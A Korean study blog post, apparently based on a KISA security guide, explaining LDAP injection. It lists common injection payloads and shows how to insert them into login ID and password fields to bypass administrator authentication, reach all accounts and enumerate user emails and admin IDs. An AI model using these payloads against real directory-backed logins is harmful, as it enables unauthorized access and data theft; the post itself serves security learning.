일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- KAKAO
- colab
- Docker
- 코딩도장
- 인터넷의이해
- Resnet
- cloud
- OSS
- Database
- 고등학생 대상
- Rocky Linux
- ICT멘토링
- GoogleDrive
- rnn
- Spring Boot
- 크롤링 개발
- API
- Github
- git
- VSCode
- Powershell
- Python
- ChatGPT
- C언어
- Machine Learning
- Web
- Spring
- suricata
- LINUX MASTER
- 국가과제
- Today
- Total
코딩두의 포트폴리오
LDAP 인젝션 (LDAP Injection) 본문
KISA 가이드
LDAP 인젝션
사용자 입력값이 LDAP Query를 구성할 때 이를 이용해 비정상적인 LDAP 동작을 유도하는 공격
이로 인해 검증되지 않은 쿼리에 대한 사용 권한 부여 및 LDAP 트리 내의 내용 수정과 같은 임의 명령이 실행될 수 있다.
공격에 자주 사용되는 페이로드
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
로그인의 ID와 Password에 삽입되는 경우가 많음
위 페이로드를 보면 삽입 시 (uid=[입력 값]) (password=[입력 값])의 구문이 존재하면 입력 값에 *)를 넣는다면 참
공격 방법
관리자 계정 인증 우회
uid = admin
pw = *)(uid=*))(|(uid=*
pw 필드에서 닫는 괄호 사용해 쿼리 나머지 부분을 주석 처리, 어떤 사용자의 uid라도 참이 되게 함
특정 사용자(관리자) 로그인 인증 우회
uid = admin
pw = admin)(uid=*))(|(uid=*
쿼리 끝 부분이 admin으로 끝나는 사용자 찾기 위함, pw 필드에서 쿼리 조작
모든 계정 접근
uid = *)(uid=*))(|(uid=*
pw = 아무 값
사용자 이름 필드 이용하여 모든 계정에 대해 참인 쿼리 생성, 비밀번호 필드 값 중요하지 않음
인증 우회 쿼리
(|(uid=*)(userPassword=*))
사용자 ID, 비밀번호 무시하고 인증 시도 / 입력값 검증 제대로 이루어지지 않을 시 사용
특정 정보 검색 쿼리
(uid=*)(|(uid=*Admin*))
Admin이 포함된 모든 사용자 ID 검색 / 공격자가 관리자 계정에 접근 시 사용
정보 유출 쿼리
(sn=*)(mail=*)
모든 사용자의 성과 메일 주소 정보 조회
조건부 로직 우회
(&(uid=*)(!(uid=*Admin*)))
Admin 제외한 모든 사용자 ID 검색 시 사용
'vulnerability' 카테고리의 다른 글
버프 스위트(Burp Suite) (0) | 2024.05.16 |
---|---|
운영체제 명령 실행 (Command Injection) (0) | 2024.05.13 |
포맷 스트링 (Format String) (2) | 2024.05.12 |
버퍼 오버플로우(Buffer Overflow) (0) | 2024.05.10 |
취약점(vulnerability) (0) | 2024.05.10 |